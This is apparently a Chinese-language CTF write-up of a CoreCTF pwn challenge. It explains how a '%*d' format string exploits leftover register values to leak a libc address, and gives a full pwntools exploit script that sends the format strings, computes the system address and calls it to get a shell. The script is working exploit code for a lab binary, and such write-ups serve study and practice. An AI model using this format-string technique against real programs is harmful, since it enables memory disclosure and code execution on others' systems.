corectf的一道题,见识到了格式化字符串的新用法%*d
指针残留,由不规范使用函数造成。
printf(“%*d”,&a,&b) 格式化字符串在rdi,a和b没有规定但会取rsi rdx中的值

do_printf函数中,只允许读入三个字节,printf here的rsi会残留到第二次printf,第二个printf此时rsi是一个占栈地址,数很大,输出会把缓冲区填满,缓冲区最后有libc地址,%s会直接把libc地址打印出来,拿到libc后直接输入system(调试有点费CPU,第一次遇到虚拟机卡死)



1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import* from struct import pack import ctypes from LibcSearcher import * def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a)
def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux',arch='amd64',log_level='debug') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./pwn')
p=process('./pwn')
print("[+] process 1") p.sendlineafter(b'2. call\n', b'1') p.sendline(b'%*d')
print("[+] process 2") p.sendlineafter(b'2. call\n', b'1') p.sendline(b'%s')
print("[+] process 3") libc = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) pr(hex(libc)) system=libc-0x19a6f0 print("[+] process 4") p.sendlineafter(b'2. call\n', b'2') p.sendline(hex(system))
inter()
|